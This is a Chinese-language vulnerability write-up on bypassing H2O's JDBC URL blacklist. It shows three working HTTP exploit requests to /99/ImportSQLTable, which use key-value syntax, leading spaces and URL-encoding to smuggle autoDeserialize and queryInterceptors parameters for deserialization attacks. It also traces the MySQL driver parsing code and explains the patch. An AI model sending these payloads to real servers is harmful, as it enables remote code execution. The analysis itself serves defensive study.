|
[img=720,300.85714285714283]https://www.yijinglab.com/guide-img/417184a9-9bfe-41be-b74b-606afd783052/d17f028e-b016-4317-8298-5c619b3ec25c.png[/img]
[img=720,302.14285714285717]https://www.yijinglab.com/guide-img/417184a9-9bfe-41be-b74b-606afd783052/886ad4f2-3316-4594-8ccf-651bc458a4ba.png[/img]
环境搭建
https://h2o-release.s3.amazonaws.com/h2o/rel-3.46.0/7/index.html
[img=720,257.14285714285717]https://www.yijinglab.com/guide-img/417184a9-9bfe-41be-b74b-606afd783052/dcf50e70-d6ca-4841-a041-4906b58e99ee.png[/img]
下载 MySQL 驱动(https://repo1.maven.org/maven2/mysql/mysql-connector-java/8.0.12/mysql-connector-java-8.0.12.jar)并放在在同一目录下。正确的启动命令为:- # Windows
- java -cp "mysql-connector-java-8.0.12.jar;h2o.jar" water.H2OApp
-
- # Linux / Mac
- java -cp mysql-connector-java-8.0.12.jar:h2o.jar water.H2OApp
-
- #调试启动命令
- java -agentlib:jdwp=transport=dt_socket,server=y,suspend=y,address=5005 -cp "mysql-connector-java-8.0.12.jar;h2o.jar" water.H2OApp
复制代码 启动成功后,访问 http://localhost:54321 就可以进入 H2O 的 Web 管理界面。
[img=720,379.2857142857143]https://www.yijinglab.com/guide-img/417184a9-9bfe-41be-b74b-606afd783052/e2870167-7f9a-4ce0-8b4b-92a3ff011c11.png[/img]
漏洞复现
MySQL 5.x 驱动只支持 Query String 格式(?key=value&key2=value2),且对 URL 解析较为严格。 MySQL 8.x 驱动引入了更灵活的 URL 解析机制,支持多种格式,并对参数解析有更宽松的处理。
- Key-Value 格式绕过:Key-Value 格式是 MySQL 8.x 才引入的 URL 格式,采用 括号包裹、逗号分隔的方式处理参数。H2O 的正则只匹配 ?、;、&后面的参数名,逗号不在匹配范围之内。
- 空格绕过:在参数名前添加空格,绕过正则匹配。空格不是字母 [a-z],正则匹配失败。
- 编码绕过:对参数名进行 URL 编码,使正则无法匹配出参数名。
Key-Value 格式
- POST /99/ImportSQLTable HTTP/1.1
- Host: 127.0.0.1:54321
- Accept: application/json, text/javascript, */*; q=0.01
- User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
- X-Requested-With: XMLHttpRequest
- Sec-Fetch-Site: same-origin
- Sec-Fetch-Mode: cors
- Sec-Fetch-Dest: empty
- Referer: http://127.0.0.1:54321/flow/index.html
- Accept-Encoding: gzip, deflate
- Accept-Language: zh-CN,zh;q=0.9
- Connection: close
- Content-Type: application/json
- Content-Length: 191
-
- {
- "connection_url": "jdbc:mysql://(host=127.0.0.1,port=59351, autoDeserialize=true,queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor,user=deser_CB_calc)/test"
- }
复制代码[img=720,320.14285714285717]https://www.yijinglab.com/guide-img/417184a9-9bfe-41be-b74b-606afd783052/dc98bf0d-1432-4aa3-8456-0841252344f9.png[/img]
空格绕过
- POST /99/ImportSQLTable HTTP/1.1
- Host: 127.0.0.1:54321
- Accept: application/json, text/javascript, */*; q=0.01
- User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
- X-Requested-With: XMLHttpRequest
- Sec-Fetch-Site: same-origin
- Sec-Fetch-Mode: cors
- Sec-Fetch-Dest: empty
- Referer: http://127.0.0.1:54321/flow/index.html
- Accept-Encoding: gzip, deflate
- Accept-Language: zh-CN,zh;q=0.9
- Connection: close
- Content-Type: application/json
- Content-Length: 180
-
- {
- "connection_url": "jdbc:mysql://127.0.0.1:59351/test? autoDeserialize=true& queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&user=deser_CB_calc"
- }
复制代码[img=720,320.7857142857143]https://www.yijinglab.com/guide-img/417184a9-9bfe-41be-b74b-606afd783052/c9c46ab5-8108-4eae-9b14-40f4069c7af3.png[/img]
编码绕过
- POST /99/ImportSQLTable HTTP/1.1
- Host: 127.0.0.1:54321
- Accept: application/json, text/javascript, */*; q=0.01
- User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
- X-Requested-With: XMLHttpRequest
- Sec-Fetch-Site: same-origin
- Sec-Fetch-Mode: cors
- Sec-Fetch-Dest: empty
- Referer: http://127.0.0.1:54321/flow/index.html
- Accept-Encoding: gzip, deflate
- Accept-Language: zh-CN,zh;q=0.9
- Connection: close
- Content-Type: application/json
- Content-Length: 242
-
- {
- "connection_url": "jdbc:mysql://127.0.0.1:59351/test?%61%75%74%6f%44%65%73%65%72%69%61%6c%69%7a%65=true&%71%75%65%72%79%49%6e%74%65%72%63%65%70%74%6f%72%73=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&user=deser_CB_calc"
- }
复制代码[img=720,322.07142857142856]https://www.yijinglab.com/guide-img/417184a9-9bfe-41be-b74b-606afd783052/b4aba9ba-728e-4728-9603-63f34cde8eb5.png[/img]
漏洞分析
第一次补丁链接 https://github.com/h2oai/h2o-3/commit/f714edd6b8429c7a7211b779b6ec108a95b7382d
[img=720,183.85714285714286]https://www.yijinglab.com/guide-img/417184a9-9bfe-41be-b74b-606afd783052/00b1ac11-c8df-41a3-8253-479da6faa36a.png[/img]
water.jdbc.SQLManager#importSqlTable
water.jdbc.SQLManager.SQLImportDriver#compute2
[img=720,291.2142857142857]https://www.yijinglab.com/guide-img/417184a9-9bfe-41be-b74b-606afd783052/85be9668-aa02-40d0-986d-d2468ecb2357.png[/img]
water.jdbc.SQLManager#getConnectionSafe
[img=720,122.78571428571429]https://www.yijinglab.com/guide-img/417184a9-9bfe-41be-b74b-606afd783052/2c54e30b-455b-46c7-8d13-81e668a72746.png[/img]
water.jdbc.SQLManager#validateJdbcUrl
[img=720,250.07142857142858]https://www.yijinglab.com/guide-img/417184a9-9bfe-41be-b74b-606afd783052/4c095328-fd5b-4b25-bdfe-9a880fb9d9a6.png[/img]
- private static final Pattern JDBC_PARAMETERS_REGEX_PATTERN = Pattern.compile("(?i)[?;&]([a-z]+)=");
复制代码- private static final List<String> DEFAULT_JDBC_DISALLOWED_PARAMETERS = (List)Stream.of(
- // MySQL相关危险参数
- "autoDeserialize", // 允许反序列化
- "queryInterceptors", // 8.x版本拦截器
- "allowLoadLocalInfile", // 允许读取本地文件
- "allowMultiQueries", // 允许多语句执行
- "allowLoadLocalInfileInPath",
- "allowUrlInLocalInfile",
- "allowPublicKeyRetrieval",
- // H2数据库相关危险参数
- "init", // 初始化时执行SQL/脚本
- "script", // 执行脚本
- "shutdown" // 关闭数据库
- ).map(String::toLowerCase).collect(Collectors.toList());
复制代码 ConnectionUrlParser 是 MySQL 8.x 驱动中专门负责解析 JDBC URL 的类,所有 URL 解析都从它的构造函数开始。调用 parseConnectionString 提取 connString 各个部分,存储到实例变量
com.mysql.cj.conf.ConnectionUrlParser#parseConnectionString()
[img=720,146.57142857142858]https://www.yijinglab.com/guide-img/417184a9-9bfe-41be-b74b-606afd783052/3687435a-4961-4a29-9466-2903b7f38a85.png[/img] - CONNECTION_STRING_PTRN = Pattern.compile(
- "(?<scheme>[\\w:%]+)\\s*" + // 协议部分
- "(?://(?[^/?#]*))?\\s*" + // authority 部分(主机信息)
- "(?:/(?!\\s*/)(?<path>[^?#]*))?" + // path 部分(数据库名)
- "(?:\\?(?!\\s*\\?)(?<query>[^#]*))?" + // query 部分(参数)
- "(?:\\s*#(?<fragment>.*))?" // fragment 部分(锚点,很少用)
- );
复制代码 https://regex101.com/
[img=720,195.42857142857142]https://www.yijinglab.com/guide-img/417184a9-9bfe-41be-b74b-606afd783052/ea0ae007-9076-4cb0-9870-13e2c700280c.png[/img]
[img=720,201.21428571428572]https://www.yijinglab.com/guide-img/417184a9-9bfe-41be-b74b-606afd783052/b2dcc2ce-7609-4697-9cca-2f0afb4e3d61.png[/img]
空格会被包含在 query 中 也被匹配到
【----帮助网安学习,以下所有学习资料免费领!加vx:YJ-2021-1,备注 “博客园” 获取!】
① 网安学习成长路径思维导图
② 60+网安经典常用工具包
③ 100+SRC漏洞分析报告
④ 150+网安攻防实战技术电子书
⑤ 最权威CISSP 认证考试指南+题库
⑥ 超1800页CTF实战技巧手册
⑦ 最新网安大厂面试题合集(含答案)
⑧ APP客户端安全检测指南(安卓+IOS)
JDBC URL 支持两种不同位置放置连接参数:
链路一:getHosts() 链路:当 MySQL 驱动需要获取主机连接信息,参数放置在 Authority 部分//后面
getHosts() → parseAuthoritySection() → parseAuthoritySegment() → buildHostInfoResortingToKeyValueSyntaxParser() → processKeyValuePattern() → safeTrim() → decode()
com.mysql.cj.conf.ConnectionUrlParser#parseAuthoritySegment 尝试多种解析方式
[img=720,327.85714285714283]https://www.yijinglab.com/guide-img/417184a9-9bfe-41be-b74b-606afd783052/1eb67ccf-5f2b-479a-9c3a-a076ddbc0a55.png[/img]
处理 (host\=x,port\=x,...) 格式【KEY-VALUE 格式绕过入口】
com.mysql.cj.conf.ConnectionUrlParser#buildHostInfoResortingToKeyValueSyntaxParser
[img=720,104.14285714285714]https://www.yijinglab.com/guide-img/417184a9-9bfe-41be-b74b-606afd783052/a7e83ed6-55ab-435a-bc3e-20e0ada458b4.png[/img]
[img=720,193.5]https://www.yijinglab.com/guide-img/417184a9-9bfe-41be-b74b-606afd783052/2b73fd33-59fb-4d4c-a7e4-aac69038865b.png[/img]
核心解析逻辑【处理空格+编码】
com.mysql.cj.conf.ConnectionUrlParser#processKeyValuePattern
[img=720,300.2142857142857]https://www.yijinglab.com/guide-img/417184a9-9bfe-41be-b74b-606afd783052/014b58d8-53e1-473a-beab-00eab9e39a7a.png[/img]
调用 StringUtils.safeTrim 去除首尾空格 decode 用于URL解码
【编码绕过的关键】
com.mysql.cj.conf.ConnectionUrlParser#decode
[img=720,136.92857142857142]https://www.yijinglab.com/guide-img/417184a9-9bfe-41be-b74b-606afd783052/a118daf3-8a3d-4455-a90e-4120b8b134bb.png[/img]
MySQL 驱动的 decode() 是单次解码,所以单次 URL 编码可以绕过校验,双重 URL 编码不能绕过
链路二:getProperties() 链路:当 MySQL 驱动需要获取连接参数,参数放置在 Query 部分 ? 之后 getProperties() → parseQuerySection() → processKeyValuePattern() → safeTrim() → decode() com.mysql.cj.conf.ConnectionUrlParser#parseQuerySection
[img=720,91.28571428571429]https://www.yijinglab.com/guide-img/417184a9-9bfe-41be-b74b-606afd783052/61fb1db0-f1af-4fdb-9d61-c3011a379b8d.png[/img]
[img=720,207.64285714285714]https://www.yijinglab.com/guide-img/417184a9-9bfe-41be-b74b-606afd783052/57d16d7b-04c7-4dab-90ea-948c47573b4f.png[/img]
修复方法
- private static final Pattern JDBC_PARAMETERS_REGEX_PATTERN = Pattern.compile("(?i)([a-z0-9_]+)\\s*=\\s*");
-
复制代码- private static final List<String> DEFAULT_JDBC_DISALLOWED_PARAMETERS = (List)Stream.of(
- // MySQL相关危险参数
- "autoDeserialize", // 允许反序列化
- "queryInterceptors", // 8.x版本拦截器
- "allowLoadLocalInfile", // 允许读取本地文件
- "allowMultiQueries", // 允许多语句执行
- "allowLoadLocalInfileInPath",
- "allowUrlInLocalInfile",
- "allowPublicKeyRetrieval",
- "init",
- "script",
- "shutdown"
- ).map(String::toLowerCase).collect(Collectors.toList());
复制代码 water.jdbc.SQLManager#validateJdbcUrl
修复空格绕过
- // 旧正则(3.46.0.5 - 有漏洞)
- Pattern.compile("(?i)[?;&]([a-z]+)=")
-
- // 新正则(3.46.0.8 - 已修复)
- Pattern.compile("(?i)([a-z0-9_]+)\\s*=\\s*")
复制代码[img=720,230.21459227467813]https://www.yijinglab.com/headImg.action?news=6ed8277f-c553-4ee6-bcc0-f227c4feb5c9.png[/img]
新正则的匹配规则
Payload: jdbc:mysql://127.0.0.1/test?+autoDeserialize\=true
URL解码后: jdbc:mysql://127.0.0.1/test? autoDeserialize\=true正则: (?i)([a-z0-9_]+)\\s*=\\s*
字符串:test? autoDeserialize=true
扫描整个字符串,寻找所有 “参数名=”的模式
匹配到:autoDeserialize=- ↑↑↑↑↑↑↑↑↑↑↑↑↑↑↑
-
- ([a-z0-9\_]+) 捕获到 "autoDeserialize"
复制代码 旧思路:从分隔符开始匹配 → 容易被分隔符后的特殊字符串绕过- `[?;&]([a-z]+)=`
-
- ↑
-
- 必须紧跟分隔符
复制代码 新思路:直接匹配所有“参数名=”模式 → 不依赖分割符位置- `([a-z0-9_]+)\\s*=`
-
- ↑
-
- 匹配任意位置的参数名
复制代码 额外改进:
- \\s*=\\s* 允许空格,防止 param = value 格式绕过
- [a-z0-9_] 扩展字符集,覆盖更多参数名格式
修复编码绕过
- try {
- for(int i = 0; i < 10; ++i) {
- previous = jdbcUrlDecode;
- jdbcUrlDecode = URLDecoder.decode(jdbcUrlDecode, "UTF-8");
- if (previous.equals(jdbcUrlDecode)) {
- break;
- }
- }
- } catch (UnsupportedEncodingException var7) {
- throw new IllegalArgumentException("JDBC URL has wrong encoding");
- }
-
- if (!previous.equals(jdbcUrlDecode)) {
- throw new IllegalArgumentException("JDBC URL contains invalid characters");
-
复制代码[img=720,152.96137339055795]https://www.yijinglab.com/headImg.action?news=c87de1bf-009f-41d4-8575-40574daa32a8.png[/img]
通过多次循环解码,直到解码后的字符串等于解码前的字符串(说明已完全解码),超过十次也强制结束循环。循环结束后会进行比较:如果解码前后仍不相等(说明10次还没解完),则抛出异常;如果相等,则使用完全解码后的字符串进行黑名单检查,从而避免通过多层 URL 编码绕过防护。
更多网安技能的在线实操练习,请点击这里>>
来源:程序园用户自行投稿发布,如果侵权,请联系站长删除
免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作! |